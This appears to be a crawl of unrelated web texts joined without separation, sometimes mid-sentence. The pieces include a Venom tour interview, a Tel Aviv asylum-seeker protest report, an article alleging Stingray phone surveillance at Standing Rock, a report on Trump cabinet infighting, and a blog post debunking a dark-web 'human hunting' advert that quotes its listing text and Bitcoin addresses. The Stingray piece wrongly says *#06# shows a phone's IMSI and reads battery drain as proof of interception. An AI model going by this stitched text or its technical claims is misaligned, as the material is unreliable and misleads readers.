The Exchequer’s announcement follows the news that retailers, cafés, restaurants and a pharmacy in the Galway town of Kinvara will begin a boycott of Israeli goods.
Business people in the town said the boycott is being initiated in response to the "ongoing bombardment" of Gaza.
Online EditorsIt was 1985. Three years earlier, English speed metal warriors Venom had invented a new genre with their landmark album, Black Metal. Now they were preparing to bring their hyper-satanic style of skull-rattling, pyro-enhanced blasphemy to North America to promote Possessed, the last Venom album—for the next dozen years, anyway—to feature the classic lineup of Conrad “Cronos” Lant on bass and vocals, Jeffrey “Mantas” Dunn on guitar and Anthony “Abaddon” Bray on drums. The band had visited the States for the first time in ’84, with no less than Metallica as support. But the shows had been confined to the coasts. This time they’d return for a full North American tour with nascent thrash masters Slayer and Exodus in tow. “It was one of those tours that make or break bands,” Cronos says today. “People maybe don’t understand how groundbreaking it was. Metal was growing at that point, but it was happening really slow. That tour really helped wake people up to what it was all about. When that three-band bill went across the US in 1985, fans in the audience would be standing there with their mouths wide open. I think it was probably a pivotal point in some people’s lives, because things went much quicker after that. Bands started forming left, right and center.”
Trouble began brewing before Venom even left the British Isles. Just days before their departure date, Mantas announced that he had the chicken pox and wouldn’t be joining the band on tour. Undaunted, Cronos and Abaddon quickly found not one but two replacement guitarists—one for each half of their lengthy set—and proceeded as planned. Punch-outs, religious protests and cancellations ensued as the tour carved a satanic swath across Canada and the former colonies. The now-infamous show at Studio 54 in New York was filmed for the VHS video release The Ultimate Revenge, titled as such because three of the heaviest, most maniacal metal bands of the era were essentially invading the storied disco club where Diana Ross and Elton John had inhaled mountains of cocaine with the likes of Andy Warhol and Calvin Klein in the late ’70s and early ’80s. “Everybody was talking about John Travolta and all this bullshit with Saturday Night Fever, but we basically didn’t care. We were like, ‘John who?’” Cronos laughs. “But they still had the big mirror ball hanging from the ceiling, so I guess the idea was ‘death to disco.’ To us it was just good fun.”
Noisey: Venom’s first US visit was only a handful shows. Was the Ultimate Revenge tour a way of remedying that?
Cronos: We only did the East Coast and West Coast with Metallica opening in ’84. After the New Jersey show, we did a bit of a meet n’ greet with the fans, and we realized people had come from all over—Texas, Colorado—these guys had really traveled fuckin’ miles to come and see the show. We basically weren’t getting any information about what was happening the States back then, because it was all relatively new. British bands that had previously been over to America, like Bad Company and Deep Purple—those guys used to play every fuckin’ toilet known to man. That’s when we first heard the term “petrol stop,” where the band would have five or six reasonably good shows, size-wise, and they’d do these “petrol stops’ in these little titty bars just for a few bucks so they could put petrol in the bus. And that’s so not what Venom is about. We refused point-blank to do “petrol stops.” But this time we figured we’d get to the more unknown, less popular places. To us it was just the Possessed tour, though. The Ultimate Revenge thing was just for the video.
Did it seem like Venom were even more popular when you came back in ’85 with Slayer and Exodus?
Now when people look at it, it seems like black metal and thrash metal were everywhere, but back then people didn’t know what to make of it. That’s why we used to seek out our own support bands, because it was hard for us to find like-minded musicians. We knew the people we’d be attracting at our shows would be people who’d crawled out of the gutters. We were gonna get all the freaks, which is exactly what we wanted. We wanted the people who’d survived the punk generation and were saying, “What’s next?” The rock music of the ’70s was fuckin’ nothing in the ’80s. When we would go to the States, people would be telling us that Deep Purple couldn’t even get arrested there. They had toured themselves into the ground. [Laughs] We wanted to put the bang back into heavy metal. We wanted to put the punk in—the bang, the wallop, the piss—and make heavy metal what it should be: loud and amazing and fantastic.
How did you find out about Slayer?
It was actually James Hetfield who turned me onto Slayer. After we did some shows with Metallica in Staten Island and New Jersey, we took them over to the UK for the Seven Dates [of Hell] tour. We were asking them what else was going on America, because there were other bands popping up in Europe, like Hellhammer and Mercyful Fate. So James told us about Slayer. He said, “They’re much more venomous than us.” Because you know Metallica always wanted to be more of a commercial band. They didn’t wanna be a scary, satanic band. They admitted that from the word go. Their first album—I’ve still got the t-shirt—it was gonna be called Metal Up Your Ass. It had a picture of a hand coming out of a toilet with a guitar in the hand, which we thought would’ve been a great image. But of course, you know, Middle America isn’t gonna find that [laughs] very appealing. So that’s why they went to the whole Kill ’Em All thing, which was great. More power to ’em. Whereas Slayer wanted to go more south of the border, into hell.
What about Exodus?
We used to call them “Exo-dugga-dugga-dugga-dus” because that’s what all their songs did. [Laughs] Fuckin’ great. We went out with them in Europe after that. We just wanted to embrace all things metal, and all the bands that came out of that. You had the likes of Death down in Florida with Chuck Schuldiner and Testament was coming out of the Bay Area. Then there was that whole wave of European stuff. We thought it was great.
What was your initial impression of the guys in Slayer and Exodus when you first met them?
Oh, fuckin’ great, ’cause we were like-minded, you know? Only a few dates in, we did a show in Buffalo, and the actual gig was in a train station. But the fuckin’ promoter, the fuckin’ idiot, wanted the bands to play on top of the kiosks where you buy a train ticket. They had ladders on either side of the kiosks so we could get up there, which was fuckin’ ridiculous. So our crew gets up there and goes, “Look, this is gonna go through. It’s not a stage—it’s a roof. Once we put the equipment up here, it’s gonna crumble and everyone’s gonna get hurt.” So we pulled the show. But unfortunately, Slayer were getting paid show-by-show, so they were fucked as far as trying to get a hotel room. Those guys were traveling in a fuckin’ truck on that tour, you know. Not a warm, comfortable tour bus. And it was snowing outside, too. Kerry King had his fuckin’ snakes under the front seat of the truck. We had hotel rooms, but we also had a bus, so we told the Slayer guys they could crash on our bus.
The Slayer guys were big Venom fans, weren’t they?
Kerry still is. I was out in L.A. a while back and I was gonna hook up with him, but he had to fly over to Europe to play a show. So his wife came down and she brought his Venom collection, his vinyl. She said, “If you can sign all this, I’ll put it back in his collection at home and he’ll shit himself.” [Laughs] So that was cool.
Kerry once told me that Tom Araya got hammered on this tour and pissed on your head while you were asleep. And then you punched him out.
Yeah, that was just one of those unfortunate situations that happen on tour. Me and Tom are great friends. But he was drunk—we were all drunk, really—and I just made him understand that those sorts of things are unacceptable. [Laughs] I was sitting in the back of the bus, and he came back there with his dick out. When I turned around and looked, there were some wet bits in me hair. I thought he trickled some piss into me hair, so I just stood up and knocked him out. Where I come from, you don’t piss on people, you know? [Laughs] But we shook hands afterwards, and it was not a problem. The mark of a man is knowing when you fucked up and then apologizing for it. You shake hands and you move on. When it happened, everyone thought Slayer were gonna get kicked off the tour, but there was no way in hell. If he’d been a dick, then yeah. But he manned up and apologized, so we moved on.
Was it awkward for a few days, though?
Oh, no. He apologized the next day when he sobered up. The other Slayer guys were ragging on him big time, like “Tom, man—you fuckin’ asshole!” They sided with Venom immediately and gave him so much shit for that. But as soon as he apologized, it was dropped. I mean, we all get drunk. I’ve done stupid things as well. I’m human.
There were a lot of Christian fundamentalist types picketing metal shows in America at this time. A Venom/Slayer tour must’ve run into quite a bit of that.
Yeah, we always got that shit. We used to go outside with them and start yelling, “Venom are fucking evil! Boo!” They didn’t even know who we were, you know? They’d see a poster with a band name and a pentagram and a fuckin’ zombie on it, so they’d go and picket the gig. They had nothing else to do—they were bored, you know? We tried to interview one of them, but he wouldn’t let us record him with the video camera. We asked him, “Tell us to the camera how evil this band is. What have they done wrong? We’ll make sure it gets on CNN!” [Laughs] They couldn’t even explain why they were picketing.
Did you have any interactions with Venom super-fans? Like people who are maybe into it a little too much?
Not so much of that. I think we’re a lot scarier than the fans, usually. [Laughs] It’s not like we’re Lady Gaga and they’re gonna attack us with a bottle or something. The only troublemakers I get are ex-band members. [Laughs] But it is humbling when you meet fans. You realize you have the most fantastic job in the world, but you’re responsible for that position when you meet fans who cry and shake with excitement and such awe that they’re finally meeting you. Because I know what it’s like to be a superfan. I’ve slept outside of concert halls for Van Halen and Status Quo tickets. I know what it’s like to really, really look up to another artist. I know what it’s like to see a band in a concert hall and look up on that stage and think, “Fuck, I wish that was me.” So to meet these fans who get so emotional, it’s hard sometimes. You get a lump in your throat. That’s when you know it’s not a game; it’s not a joke. But I don’t get these rock stars who hang out in bars with drumsticks in their back pockets going, “Hey, baby…” or whatever. You’re not that important, you know? You’re not a brain surgeon. You’re not a rocket scientist. You’ve haven’t changed the world. Wake up, you fuckin’ idiot.
Mantas missed most of the tour due to chicken pox. Do you think he really had them?
I honestly have no idea. He said he did. But fuck, I would’ve still toured with chicken pox. I don’t care who I infect. [Laughs] Let’s make it communal, you know? Let’s share the love. I mean, I’d have to have me legs chopped off to miss a tour. So I thought it was a weird concept. But he left the band straight after that, so maybe he just didn’t wanna do it anymore.
You ended up replacing him with two guitarists…
It was two local guys from Newcastle—the guitarist from Fist, this guy called Davey Irwin, and a guitarist called Les Cheetham who was in a few local bands, including Avenger. The thing was, because Mantas decided to get sick only days before we were supposed to fly out, it was a bit difficult to get a guitarist in to learn the entire set because it was like an hour and a half or two hours long. So that’s why we got the two guys in—we learned each guy half the set. It was easier to do it that way rather than plant the whole damn show on one guy’s head. Mantas did finally come on the tour for the last two or three shows, but I don’t think anybody even spoke to him because we were so annoyed. We were working our asses off but he was acting like he was on granny’s yacht or something. And then when we got home we replaced him. [Laughs]
What do you think of the Ultimate Revenge home video that came out with footage and interviews from the Studio 54 gig in New York?
The Venom footage is actually from the UK. The only thing of Venom on the Ultimate Revenge video that came from Studio 54 was the interview and the [pyro] explosion. And the reason for that is because the guys who came down to shoot the show were supposed to pay the management because they were gonna release the VHS video. As you know, this is called the music business. And they refused to pay. They tried to say, “We’ll pay you after the show.” [Laughs] But we’re from England. We don’t fall for that one. We sent everyone who talks like that to Australia many years ago—on a boat. But they didn’t think we’d be able to stop them, so we took the ax from next to the fire extinguisher and just chopped all their cables. So they recorded Exodus and Slayer, but all they got of Venom was the bang. Later on, Neat Records sold them a couple of songs from the show from England. [Laughs] Venom don’t like getting ripped off. Whether Exodus or Slayer got paid, I’ve no idea. But I very much doubt it. It was a shame that the video doesn’t have Venom footage from Studio 54. We weren’t asking that much—they would’ve made ten times that off the video sales. So it was just greed.
Was the tour successful from a financial standpoint?
Venom actually lost a lot of money. We even had to cancel the last couple of shows. We lost that much because we wanted to take the other bands on tour and we wanted to take out the production that we had. Even if all the gigs were packed to the rafters, we would’ve lost money. So it cost us, but it was an important tour. We felt we had to do it. At that point, we’d already been in the band for six years. We’d been pushing at it since 1979, so we thought of the tour as all-or-nothing. We thought we’d just go to the States and Canada and go ballistic. But we left L.A. without even taking the guitars or drums home because we owed money to the production company. So when we came home we had to basically start from scratch. But it was well worth it. I don’t regret one thing. The tour was fuckin’ amazing.
J. Bennett would have loved to see this tour. Too bad he was nine years old when it happened.Tens of thousands of African asylum seekers in Tel Aviv protested in front of eight embassies and United Nations and European Union offices as part of a three-day strike against Israel’s policy of imprisonment for those requesting refugee status, causing the U.S. Embassy to shut down. Israeli onlookers jeered at the marches, shouting “Go home!” and “back to Africa!” as the protesters met for a second day of actions beginning this morning at Levinsky Park near the city’s central bus station, the hub for Israel’s refugees.
At 9:30am protesters broke off into ten groups, thousands in each, and marched to the embassies of the U.S, African Union, Canada, United Kingdom, France, Germany, Sweden and Italy. Additional groups marched on the offices of the United Nations High Council of Refugees and the European Union.
“The Israeli government is a dictator government,” said Father Semerehb an Eritrean Orthodox monk. “They have no democracy here. There is no work, no visa, no green card.” Father Semerehb has lived in Israel for the past three years. “In my nation when I heard of Israel I thought it was very nice,” but now he and 60,000 other asylum seekers are facing imprisonment orders and the end of a de facto Israeli policy to not deport would-be refugees. Many refugees have also received prison summons to show up at a desert detention facility when renewing identification cards over the past week.
Along the protest route to the beachfront U.S. Embassy, tucked between Tel Aviv’s district of seaside hotels, Israeli onlookers shouted disparaging remarks. “Go home! Go home!” bellowed a blond middle-age woman as she threw her torso out of an SUV window. “Back to Africa!” a shopkeeper moaned. The state should “get them to leave here” a waiter said to me. My colleague David Sheen who has covered anti-African racism in Israel more than any other journalist interviewed one Israeli-onlooker who said the march was like a “black plague” upon the Mediterranean city.
But not all Tel Avivians were enraged at the sight of Africans chanting “freedom, not prison” and “we are refugees, we want asylum.” Many were stunned at the amount of demonstrators, “this is not normal, we’ve never seen anything like this,” said a young Israeli barista. “Justice. They deserve rights, they deserve freedom and they deserve to be treated as any Israeli citizen,” said Yossi Cohen, 32, from a corner store while filming the march on his iPhone.
At first sight, foreign embassies are an odd target of protest for those seeking asylum in Israel. Yet reaching to outside countries with safe haven policies is an attempt by protest coordinators to pressure Israel into compliance with international refugee conventions.
“In our desperation for help – We call upon the ambassadors and diplomats in Israel. We know their countries are also dealing with the challenge of many refugees seeking political asylum and protection from persecution, war and genocide,” said organizers of the event in a press release this morning. “Many of our brothers and sisters have arrived at their countries and received asylum, protection and refugee rights.”
At 12:30p.m the crowd outside of the embassy peaked with around 20,000 protesting, approximately one-third of the total African refugee population in Israel. It’s worth noting that the organizing to assemble the three-day strike took coordination from Eritreans, Sudanese and Israelis—populations that until now have not engaged in mass direct actions together.
At 2p.m. the protest in front of the U.S. embassy began waning, with asylum seekers heading back to Levinsky Park."The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no warrants shall issue, but upon probable cause, supported by oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized."
Breaking News: The Honor System Does Not Work
Credit: Myron Dewey Digital Smoke Signals
Remember the September day when the DOJ "stopped" construction of the Dakota Access Pipeline on Federal Lands, but asked for a "voluntary pause" on construction on private lands? DAPL has ignored that request from the DOJ and is likely actively working with Morton County authorities to invade the cellular network and personal information of peaceful protestors on sovereign land. Mass arrests have been a diversion from secret completion of the pipeline.
In fact the DOJ request to voluntarily stop construction on private land has been met with a project that is almost completed, just waiting for President Obama to give the final OK. A ban on drones in the airspace was lifted yesterday, and this is the resulting footage. Obama's suggestion yesterday that everyone just "wait it out" has been received as a slap in the face by Water Protectors.
The First Amendment is already under attack. Just ask Amy Goodman of Democracy Now!, who had a warrant issued for her arrest because she was reporting from the DAPL construction site. They came for Goodman, now they are coming for everyone else, with no regard for the Fourth Amendment.
Now, it appears that DAPL and Morton County have not only trashed the Fourth Amendment, but they may have their pipeline as a result.
Spying on the Water Protectors
Is Fourth Amendment protection against illegal search and seizure under attack at the Standing Rock Sioux Reservation? Apparently more than water protectors, allies, and journalists who are on site at the junction of the Cannonball and Missouri Rivers share the suspicion that cellphones are monitored.
On October 20, the National Lawyers Guild (NLG) and the American Civil Liberties Union (ACLU) submitted FOIA and Open Records Requests to investigate the possible use of unconstitutional surveillance at Standing Rock. In a press release the NLG and ACLU noted the obvious, that "Water Protectors and allies have been continuously surveilled by low-flying planes, helicopters, and drones, and have had local cell phone communications jammed and possibly recorded."
The organizations submitted Freedom of Information Act (FOIA) and North Dakota Open Records Act requests to multiple state and federal agencies in response to the surveillance and arrests of those attempting to stop construction of the Dakota Access Pipeline (DAPL).
An investigator from the Federal Communications Commission has subsequently interviewed John Wathen, a photojournalist whose photos accompany this article.
"The FCC has opened an investigation into the use of "Stingray" technology against Water Protectors. If true, this is a serious issue to be dealt with especially over sovereign land," Wathen said.
It would certainly explain how Morton County authorities were always one step ahead of any prayer service or gathering before they made mass arrests.
The FCC investigator was not available for comment.
So, what is Stingray technology and why would the FCC be interested in its deployment?
Stingrays are called IMSI catchers, because they catch the "international mobile subscriber identity" of cell phones. Go to your smart phone keypad and type in *#06# and a number will display on your screen. This is your unique IMSI number and it can tell Stingray your identity by disclosing the person paying for your carrier service; most likely you. In the hands of law enforcement, this means that you are essentially being searched without a warrant and law enforcement can get away with it because there is no paper trail to prove it is being deployed. In passive mode, Stingray listens, and in active mode your phone can be accessed. Passive mode is enough cause for alarm, since your voice communications, texts and pretty much anything on your phone can be captured, along with your location. This is all done without a warrant for probable cause.
So, how does Stingray work?
Credit:Electronic Frontier Foundation
"Stingray" is the brand name for an IMSI catcher. It functions as a fake cell-phone tower, small enough to fit in a van, a plane, or even a backpack. If your phone comes between the Stingray and the closest cellphone tower, it tricks your phone into thinking the Stingray is an actual tower. This fake tower intercepts all communication. It is likely that many residents of Morton County North Dakota who travel along ND Highway1806 and have nothing to do with the actions at Oceti Sakowin camp have also been monitored and had their personal information compromised. This should be food for thought for residents of the county who have been strangely silent on the illegal actions of their Sheriff.
The signs and symptoms of Stingray intrusion have been affecting cellphones.
This writer has had my cellphone overheat when I was not using it. My battery mysteriously drained and I was constantly returning to my car to recharge. Signals would spike and then disappear. This did not mean I was specifically targeted, but it does indicate that my phone was encountering a fake tower.
Credit: John Wathen
I was not the only one. Cellphone disruption on a wide scale, unmarked vans plying the back roads, and the constant presence of fixed wing aircraft and helicopters over the camps have been troubling. Complaints prompted the NLG and ACLU of North Dakota to request all surveillance information and communications regarding the DAPL protests from April 1 to the present from federal and local agencies.
But the bad news is that it will be a quixotic quest.
To get a warrant, the government must show there is probable cause. The only way a judge can make this decision is for the government to tell the truth about what it is doing. Since there is no paper trail for search and seizure with Stingray use, why bother with a judge?
In "FCC Helped Create the Stingray Problem, Now it Needs to Fix It," the Electronic Frontier Foundation (EFF) addresses the over reach of law enforcement in other police actions.
We now know, for example, that police departments use them for hours at a time without a warrant, that officers deploy them for tracking down people suspected of non-violent crimes like harassing phone calls, and that certain devices do in fact cause significant interference to cell service. The combination of the extraordinary power of these surveillance tools (they can scan hundreds of innocent user cell phones at once) and the lack of FCC regulations has resulted in explosive growth in their deployment.
The government has been absolutely secretive about this technology. EFF notes that the FBI "withholds documents in FOIA requests, failing to explain (or even understand) the technology to a Texas federal judge and in Rigmaiden, misleading the court about the fact it's even using one at all."
Daniel Rigmaiden is the man who first discovered Stingray. Facing charges of tax fraud he believed he was living totally off the grid while filing tax returns for the deceased. Stingray technology caught him because of the cellular AirCard he used to access the Internet. Ringmaiden spent his time in prison researching how he was caught and fighting the illegal search and seizure. No one doubts that he should be in prison, but should he be there as a direct result of Fourth Amendment violations? It is a cautionary tale.
Minnesota Senator Al Franken, along with eleven other Senators, sent a letter to the FCC in early October.
We are particularly concerned about allegations that cell site simulators--commonly referred to as "Stingrays"--disrupt cellular service and may interfere with calls for emergency assistance, and that the manner in which cell site simulators are used may disproportionately impact communities of color. While we appreciate law enforcement's need to locate and track dangerous suspects, the use of Stingray devices should not come at the expense of innocent Americans' privacy and safety.
The Franken Letter notes that the use of Stingray devices violates Section 333 of the Communications Act, specifically "the willful interference with a communications network." Also, local law enforcement agencies do not have the "requisite licenses to operate Stingray devices over the wireless spectrum--licenses required by Section 301 of the Communications Act."
The Franken Letter also notes the disproportionate use of electronic surveillance in "communities of color."
Senator Franken's office offered this response when asked about the possible use of Stingray technology at Standing Rock
As a member of the Senate Indian Affairs Committee, Senator Franken has worked closely with Minnesota's tribes for many years, and has long pushed to address the many injustices inflicted on the native population in our country. The Senator strongly supports the right to peacefully protest construction of the project, and he is monitoring the situation in North Dakota very closely.
So what are the odds that FOIA requests will be successful?
The redactions in recent documents released by the FBI under FOIA requests would be laughable if this were not such a serious issue.
In another instance, in 2015 the FBI released more than 5,000 pages of documents regarding its internal handbook. Nearly all of it is redacted, except for correspondence between the FBI and manufacturers of the Stingray hardware.
Another Fait Accompli
Water Protectors, journalists and supporters of the Great Sioux Nation should be aware and perhaps leave their phones at home, in their cars, or put them in airplane mode while at the camps.
It turns out that it really does not matter that the Department of Justice recently required that all federal law enforcement agencies--and all state and local agencies working with the federal government--are required to obtain a search warrant supported by probable cause before they are allowed to use Stingray technology.
The vague "special circumstances" wording is not helpful and can give carte blanche to law enforcement and DAPL interests.
Water protestors report that DAPL crews are working day and night and guards are posted on the bluffs and hills.
The the Digital Smoke Signal's drone today showed what has been happening.
The honor system does not work. Remember what happened when sacred burial grounds were destroyed when DAPL interests obtained court documents showing the exact locations of graves?
Now they likely know the exact location of anyone with a cell phone.Swords and Sorcery: Discover dozens of new spells and items, including new magic armor and weapons.
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© 2014 Beamdog. © 2014 Hasbro, Inc. All Rights Reserved. Icewind Dale, Dungeons & Dragons, D&D, Forgotten Realms, Baldur's Gate, Wizards of the Coast and their logos are trademarks of Wizards of the Coast LLC in the U.S.A. and other countries, and are used with permission. Hasbro and its logo are trademarks of Hasbro, Inc. and are used with permission. © 1998 BioWare Corp. All Rights Reserved. BioWare, the BioWare Infinity Engine and the BioWare logo are trademarks of Bioware Corp. Black Isle Studios and the Black Isle Studios logo are trademarks of Interplay Entertainment Corp.The Andrews government is facing pressure to give faith-based adoption agencies the right to refuse to place a child in the care of gay couples, and for parents to be able to nominate that only straight families can adopt their child.
As the government prepares to legalise gay adoption in Victoria, the Australian Christian Lobby has warned that certain agencies could end up closing unless they retained the right to preference heterosexual families over same-sex families.
In a submission to the government's review of the Adoption Act, the group has pointed to similar amendments introduced in NSW to ask for a religious exemption that would give faith-based organisations the right to choose couples in accordance with their ethos.
The group has also called for parents whose children are being adopted to have the ability to choose a straight family on the grounds it is in the interest of the child to have a traditional "mother and father".
"The intent of faith-based agencies who preference opposite-sex couples for adoption is in good faith and in accordance with their religious principles and the best interests of children," the submission says.INGLEWOOD, Calif. -- Family and friends staged a candlelight vigil late Friday for a California dad who |
A flurry of hastily drafted presidential decisions and statements over the past 12 days has highlighted the role played by Trump’s inner circle, especially Bannon, a self-described “economic nationalist” who masterminded Trump’s “America First” campaign championing isolationism and protectionism.
That is worrisome to many lawmakers, including Republicans, who had reservations about Trump but who were reassured by the inclusion of Mattis, in particular, in the administration. After Trump spent months as a candidate questioning the value of alliances in Europe and Asia, denigrating the U.S. intelligence community, and flippantly proposing war crimes, they saw Mattis’s presence at the Pentagon as insurance against any potential excesses from the White House.
But the Trump White House has blindsided the retired Marine general on several major issues. Before Trump even entered office, his aides announced the appointment of a U.S. Army secretary without consulting Mattis, current and former officials told Foreign Policy.
Last week, reports of a draft order on reviewing torture tactics leaked, another unpleasant surprise for Mattis, who had publicly promised lawmakers that he opposed reviving outlawed interrogation methods — and who seemed to have convinced Trump on his way of thinking. The president subsequently said he would defer to Mattis on the issue.
And last Friday, Trump issued an executive order halting entry into the United States for all refugees and travelers from seven majority Muslim countries — without input from Mattis. Last year, the former head of U.S. Central Command had sharply criticized the idea of barring Muslim immigrants or refugees as counterproductive for U.S. counterterrorism efforts.
“So far, it’s not reassuring,” one Republican congressional staffer said of Mattis’s treatment by the White House. “And if this continues, you have to ask yourself, ‘How long will he be willing to put up with this?'”
Lawmakers from both parties had similar expectations for the Homeland Security secretary, Kelly, another retired U.S. Marine general, who they hoped would bring a measure of common sense and pragmatism to border security. But Trump’s travel ban has raised serious questions about Kelly’s real sway in the administration. The ban — which many government officials say was drafted with only cursory input from government agencies — has sparked global outrage, legal challenges, and an investigation by the Department of Homeland Security’s inspector general.
Kelly denied reports that he had not been properly consulted or briefed in advance, and he vigorously defended the measure at a news conference Tuesday, saying it had caused “minimal” inconvenience to a small number of people.
However, even some Republicans in Congress complained that the administration had bungled the order and accused the White House of steamrolling Kelly’s department. And it remained unclear to what degree Kelly had tried to argue against some provisions of the extraordinary measures — such as barring legal U.S. residents from entering the country — that caused chaotic scenes at airports.
In his confirmation hearings, Kelly had told senators that he had not discussed with Trump nor committed to the notion of “extreme vetting” for potential refugees, a possible national registry to track Muslims, or a proposed ban on Muslim immigrants. He also assured lawmakers that Trump wasn’t “proposing new limits for Muslim travel and immigration to the United States.” And he openly disagreed with Trump and his team’s perception of Muslim refugees or immigrants as security risks.
But the order, which reflects Trump and Bannon’s preoccupation with the dangers of “radical Islam” and the threat allegedly posed by immigration, has led some previous supporters to question whether their faith in Kelly as a check on Trump’s more extreme instincts was misplaced.
Trump’s secretary of state, Tillerson, already found himself outside of the White House loop before he even came on board. His Republican supporters view the former corporate chief as a safe pair of hands able to navigate the international arena, despite a lack of any governmental or diplomatic experience. But Tillerson was not consulted about the executive order on immigration, and as he takes over at the State Department, he faces a growing internal rebellion by more than 1,000 employees who signed an internal “dissent” memo objecting to the travel ban because of its negative effects overseas.
The isolation of Mattis, Kelly, and Tillerson is the mirror image of the central role carved out by Bannon. A presidential memo issued Saturday granted Bannon a permanent seat on the National Security Council principals committee, causing consternation across the government and military. Kushner and Bannon are also establishing a new subsection of the NSC called the Strategic Initiatives Group (SIG), an in-house office of advisors who report directly to the former Breitbart executive and Trump son-in-law. The SIG, first reported by the Daily Beast, has yet to be filled, according to a source familiar with the operation.
“They are actively recruiting for it,” the individual told FP. “They are leaning on this group hard [because] they don’t have enough aides with clearances. It’s a total shit show.”
The expertise in demand for the new group includes the Middle East and China, where Trump has shown an interest in overhauling previous U.S. policy. The top Trump aides running the unit are Assistant to the President Chris Liddell and Deputy Assistant to the President Sebastian Gorka, a counterterrorism analyst and former Breitbart editor. Gorka and Bannon share a profound skepticism of Islam and the belief that the West and the Muslim world are on a violent collision course.
Although the effect of the SIG could result in a further marginalization of Trump’s cabinet, its main objective is reportedly to put a check on the national security advisor, Michael Flynn, a retired Army lieutenant general who installed former colleagues in military intelligence throughout the NSC, consolidating his power early on.
The changes at the National Security Council could lead to a more chaotic policymaking process than the model favored by previous administrations, which sought to leverage expertise across government departments, said Paul Pillar, a 28-year CIA veteran who retired as the national intelligence officer for the Near East and South Asia.
“The political advisors in the White House, principally Mr. Bannon, will have a disproportionate influence,” Pillar said. Pushing aside military and intelligence figures in favor of men like Bannon, he said, is representative of “the low value this president and his entourage place on facts and on truth.”
The hasty way the White House handled the travel ban, with a small group of senior aides rushing it through without a full discussion among legal experts or a communications plan for how it would be explained to the public, shows the risks of relying on political operatives, former officials said.
“Politics has completely invaded policy, including national security policy,” said a former senior intelligence official, citing the immigration executive order as an example. “It wasn’t put together by the traditional national security policy process but by a political process led by Bannon.”
“The executive order sells politically among the base, and it sells really, really well,” said the former intelligence official. “But it’s horrible policy.”
FP reporters Molly O’Toole and Elias Groll contributed to this article.
Photo credit: CHIP SOMODEVILLA/Getty ImagesNow a couple of months ago I came across this screen shot on an unsavoury forum of a site claiming to sell human hunting for sport. Unlike Vice briefly thought, I do not believe for one second this is real. I swear if this ends up on one of Takedownman’s video’s I will go crazy. Anyhow, here we go:
Last month we learnt that internet assassination is not a real thing. It appears to that there are in fact a great many things people believe you can buy online and there are few people debunking this. :(
Hey guys, it’s your boy Takedownman with more bullshit from the deep web making up stuff so I don’t have to get a real job…
Let’s type up some of the text so it’s easier to analyse and so people can find this thread via google in the future.
Background: Mac OSX running Tor for Mac
Mac OSX running Tor for Mac Address bar: Running AOL instant messenger — seriously? VLC, Vuze bittorrent client. I guess piracy leads to human trafficking. The MPAA were right!
Running AOL instant messenger — seriously? VLC, Vuze bittorrent client. I guess piracy leads to human trafficking. The MPAA were right! URL: Obscurated, Examining the fonts use, I consider it plausible that a 15–16 character.onion address is hidden there, rather than a mismatch
Obscurated, Examining the fonts use, I consider it plausible that a 15–16 character.onion address is hidden there, rather than a mismatch Tab : Says ‘View forum — Pla…’ — not enough info to guess what Pla, Play? might be
: Says ‘View forum — Pla…’ — not enough info to guess what Pla, Play? might be Forum Software: I didn’t bother looking into this one, but I’ll hazard a guess at Vbulletin
Forum structure apparently has a ‘verified sellers’ forum, common with forum based carding sites and older darknet markets.
Text:
Dark Desires
Remember, strickly[sic] a middleman.
You pay for contact information only
Uh huh…
MKULTRA Sex Slave Handler
Contract price $50 000
Package details
Monarch Information
Type: Juliet
Gender: Female
Age: 39
Nationality: German
Ethnicity: Indo-European
Skin color: White
Hair color: Blond
Eye color: Brown
Length: 1.83cm
Clearly English is not their first language. Perhaps they were long on the marijuana when they wrote this?
Weight: 58kg
Body type: Slim
Cup Size: 75D
Additional information
Includes detailed personality report & programming codes.
‘sudo make me a sandwich’ didn’t work. Am I supposed to press ‘menu’ then ‘function’?
Session prices: Contact supplier
Picture features a restrained woman with a ‘Juliet’ Illuminati tatoo’s having sex
My tineye and google-fu alas didn’t fine a source match on any sub image.
Human Hunting Expedition
Contact price $100 000
I don’t know, let me call my human hunting guy, I can only go as high as 5 bucks
Package details
Expeditions information
Type: Solo + Group arrangements
Duration: Day trip
Sessions: 5
Session time: Negotiable
Location: Island near New-Guinea
Game: Included
Weapons: Ranged only — not included
Trophies: Allowed
Do I get a participation ribbon then?
Additional information
Comes through email.
Session prices: Contact supplier
But I thought I already paid for 5 sessions? What is the world coming to when micro payment bullshit is coming to my human hunting holiday? I blame EA.
Ordering — Payment process & information:
This email should include the following:
Payees bitcoin address
Requested contact
Response email
2) Make your Bitcoin payments to:
1Apt7L5vRVnbatMCiELcn8yvUj7z3w
1Apt7L5vRVnbhkfbatMCiELcn8yvUj7z3w
How many characters is that? 30 — but wait, how long are addresses usually?
The address appears to be valid but made up
To finish up
Please use a separate sending & receiving email address
Please pay from a single bitcoin address
Bro, do you even tumble?
About Dark Desires
We provide digital contact information only.
Our offers have limited availability.
We update once a month (Last update: Sept. 2015) All further business inquiries go directly via supplier.
The original filename was ‘Deepweb_MKULTRA_HumanHunting.png’, a reference to the CIA mind control program.
Now, it’s always a sign that you’ve gone to crazy town when you’re dealing with such a Conspiracy Kitchen Sink when you have to have:
Humans being hunted for sport
The activity being sold on the dark web for bitcoin
This being something to do with mind control
And of course their biggest screw up, the invalid bitcoin wallet address.
When Gawker did its first expose on the first Silk Road and described it as “The Underground Website Where You Can Buy Any Drug Imaginable” this created a meme that you can buy anything on the dark web. Which you can’t. Except drugs, which you can.
UPDATE!
On the 11th of September 2016, I received the following message (from somewhere in Russia) on this blog and via Reddit:
I accidentally learned that you have shared a screenshot from a forum which I visit sometimes… (https://www.reddit.com/r/deepweb/comments/3sl0ys/get_your_humanhunting_here_or_not/) Your accusations that a forum is fake were based on: 1) your innocent world vision 2) your mistyping of Bitcoin address (on screenshot of course it contains 34 letters, but you skipped four letters “bhkf” so you got 30, and then you tell its all fake because not 34 letters). Sadly it took me too long to discover this, so too late to take it down, but you better not share any more screenshots
Now to be fair, I did mistype the bitcoin address, however now I’ve corrected it and it seems less functionality than even the Donald Trump Assassination site. :p
Anyhow, I’m guessing these guys don’t know what happened to Besa Mafia still and think I’ll respond well to threats against my prestigious blog…Canberra – WomenSpeaking workshop Canberra – WomenSpeaking workshop – stand on a stage and learn to present a great speech in just 1-day. Don’t be afraid of public speaking ever again. The smash hit WomenSpeaking workshop is back in Canberra. You get to give a speech, on a stage with a microphone after high level, small group training sessions […] More info
